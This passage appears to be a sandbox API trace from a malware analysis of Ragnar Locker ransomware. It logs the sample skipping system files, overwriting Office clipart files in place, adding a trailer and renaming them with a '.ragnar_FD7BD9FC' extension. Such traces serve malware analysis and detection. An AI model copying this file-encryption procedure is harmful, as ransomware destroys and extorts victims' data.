PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF") returned=".GIF" [0090.238] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="autorun.inf") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="boot.ini") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="bootfont.bin") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="bootsect.bak") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="bootmgr") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="bootmgr.efi") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="desktop.ini") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="iconcache.db") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="ntldr") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="ntuser.dat") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="ntuser.ini") returned 1 [0090.239] lstrcmpiW (lpString1="PH02749G.GIF", lpString2="thumbs.db") returned -1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.239] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif")) returned 0x20 [0090.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.240] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34709) returned 1 [0090.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x878c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.240] GetProcessHeap () returned 0x580000 [0090.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.240] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.241] VirtualAlloc (lpAddress=0x0, dwSize=0x8795, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.242] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8795, lpOverlapped=0x0) returned 1 [0090.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.243] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8795, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.243] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8795, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8795, lpOverlapped=0x0) returned 1 [0090.243] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8795, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.243] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.244] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8795, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.244] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.244] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.244] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.244] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.244] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.244] GetProcessHeap () returned 0x580000 [0090.244] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.244] CloseHandle (hObject=0xf4) returned 1 [0090.244] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" [0090.244] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ragnar_FD7BD9FC" [0090.244] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.245] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0090.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.245] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02749U.BMP" | out: lpString1="PH02749U.BMP") returned="PH02749U.BMP" [0090.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP") returned=".BMP" [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="autorun.inf") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="boot.ini") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="bootfont.bin") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="bootsect.bak") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="bootmgr") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="bootmgr.efi") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="desktop.ini") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="iconcache.db") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="ntldr") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="ntuser.dat") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="ntuser.ini") returned 1 [0090.245] lstrcmpiW (lpString1="PH02749U.BMP", lpString2="thumbs.db") returned -1 [0090.245] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.245] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.245] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.245] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.245] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.246] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.246] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp")) returned 0x20 [0090.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.247] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33048) returned 1 [0090.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x810f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.247] GetProcessHeap () returned 0x580000 [0090.247] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.247] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.248] VirtualAlloc (lpAddress=0x0, dwSize=0x8118, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.249] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.249] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.249] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8118, lpOverlapped=0x0) returned 1 [0090.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.250] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8118, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.250] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8118, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8118, lpOverlapped=0x0) returned 1 [0090.250] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.250] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.251] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.251] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.251] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.251] GetProcessHeap () returned 0x580000 [0090.251] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.251] CloseHandle (hObject=0xf4) returned 1 [0090.251] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" [0090.251] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ragnar_FD7BD9FC" [0090.251] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.252] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0090.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.252] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02750G.GIF" | out: lpString1="PH02750G.GIF") returned="PH02750G.GIF" [0090.252] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF") returned=".GIF" [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="autorun.inf") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="boot.ini") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="bootfont.bin") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="bootsect.bak") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="bootmgr") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="bootmgr.efi") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="desktop.ini") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="iconcache.db") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="ntldr") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="ntuser.dat") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="ntuser.ini") returned 1 [0090.252] lstrcmpiW (lpString1="PH02750G.GIF", lpString2="thumbs.db") returned -1 [0090.252] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.252] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.253] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.253] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.253] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.253] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.253] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif")) returned 0x20 [0090.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.253] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25799) returned 1 [0090.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x64be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.253] GetProcessHeap () returned 0x580000 [0090.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.253] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.255] VirtualAlloc (lpAddress=0x0, dwSize=0x64c7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.255] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.255] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.255] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x64c7, lpOverlapped=0x0) returned 1 [0090.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.256] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.256] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x64c7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x64c7, lpOverlapped=0x0) returned 1 [0090.256] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.256] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x64c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.257] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.257] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.257] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.257] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.257] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.257] GetProcessHeap () returned 0x580000 [0090.257] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.257] CloseHandle (hObject=0xf4) returned 1 [0090.257] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" [0090.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ragnar_FD7BD9FC" [0090.257] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.258] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0090.258] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.258] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02750U.BMP" | out: lpString1="PH02750U.BMP") returned="PH02750U.BMP" [0090.258] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP") returned=".BMP" [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="autorun.inf") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="boot.ini") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="bootfont.bin") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="bootsect.bak") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="bootmgr") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="bootmgr.efi") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.258] lstrcmpiW (lpString1="PH02750U.BMP", 